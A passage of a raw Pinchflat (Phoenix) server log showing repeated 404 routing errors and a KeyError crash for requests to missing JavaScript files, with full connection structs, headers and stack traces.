secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5064.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47664}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/auth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5064.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47664}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5065.0>, params: %{}, path_info: ["assets", "js", "auth"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, (truncated) 22:49:05.655 [info] GET /assets/js/message.js 22:49:05.656 [debug] QUERY OK source="settings" db=0.1ms idle=989.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:05.656 [debug] QUERY OK source="settings" db=0.0ms idle=592.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:05.656 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:49:05.656 [error] #PID<0.5069.0> running PinchflatWeb.Endpoint (connection #PID<0.5068.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /assets/js/message.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/message (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5068.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47672}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5069.0>, params: %{}, path_info: ["assets", "js", "message"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/assets/js/message.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhdPa2RN7pD7oAAWoC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5068.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47672}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/message (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5068.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47672}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5069.0>, params: %{}, path_info: ["assets", "js", "message"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router = (truncated) 22:49:05.800 [info] GET /js/lkk_ch.js 22:49:05.801 [debug] QUERY OK source="settings" db=0.1ms idle=737.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:05.801 [debug] QUERY OK source="settings" db=0.0ms idle=737.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:05.801 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:49:05.801 [error] #PID<0.5071.0> running PinchflatWeb.Endpoint (connection #PID<0.5070.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /js/lkk_ch.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/lkk_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5070.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47678}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5071.0>, params: %{}, path_info: ["js", "lkk_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/js/lkk_ch.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhdP9b51n_DnAAAWqC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5070.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47678}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/lkk_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5070.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47678}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5071.0>, params: %{}, path_info: ["js", "lkk_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.i (truncated) 22:49:10.572 [info] GET /static/style/sys_files/index.js 22:49:10.573 [debug] QUERY OK source="settings" db=0.2ms idle=1509.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:10.573 [debug] QUERY OK source="settings" db=0.1ms idle=1509.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:10.573 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:49:10.574 [error] #PID<0.5077.0> running PinchflatWeb.Endpoint (connection #PID<0.5076.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /static/style/sys_files/index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/sys_files/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5076.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47694}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5077.0>, params: %{}, path_info: ["static", "style", "sys_files", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/static/style/sys_files/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhdhvJns1D_JAAAWsC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5076.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47694}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/sys_files/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5076.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47694}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5077.0>, params: %{}, path_info: ["static", "style", "sys_files", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug. (truncated) 22:49:10.710 [info] GET /static/style/protect/index.js 22:49:10.711 [debug] QUERY OK source="settings" db=0.2ms idle=1647.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:10.711 [debug] QUERY OK source="settings" db=0.1ms idle=1036.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:10.711 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:49:10.712 [error] #PID<0.5079.0> running PinchflatWeb.Endpoint (connection #PID<0.5078.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /static/style/protect/index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/protect/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5078.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/protect/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47700}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", 